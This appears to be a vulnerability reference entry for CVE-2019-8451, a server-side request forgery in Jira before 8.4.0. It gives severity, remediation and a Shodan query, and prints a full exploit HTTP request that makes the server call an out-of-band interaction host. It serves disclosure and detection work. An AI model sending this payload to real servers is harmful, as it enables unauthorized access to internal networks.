| Title | Jira <8.4.0 - Server-Side Request Forgery |
|---|---|
| Author | TechbrunchFR |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution. |
| Remediation | Upgrade Jira to version 8.4.0 or later to mitigate the SSRF vulnerability. |
| CVSS Score | 6.5 |
| EPSS Score | 0.92505 |
| CVE ID | CVE-2019-8451 |
| CWE ID | CWE-918 |
| Shodan Query | http.component:"Atlassian Jira"http.component:"atlassian jira" |
| Tags | cve cve2019 atlassian jira ssrf oast tenable hackerone vkev vuln |
Jira before 8.4.0 is susceptible to server-side request forgery. The /plugins/servlet/gadgets/makeRequest resource contains a logic bug in the JiraWhitelist class, which can allow an attacker to access the content of internal network resources and thus modify data, and/or execute unauthorized operations.
POST /plugins/servlet/gadgets/makeRequest HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Content-Length: 76
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Atlassian-Token: no-check
Accept-Encoding: gzip
url=https://www.victim.com:443@d5jpk89le0o41331gvt0wpm76qgbhtnen.oast.site
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-8451.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-8451.pcap
N/AN/A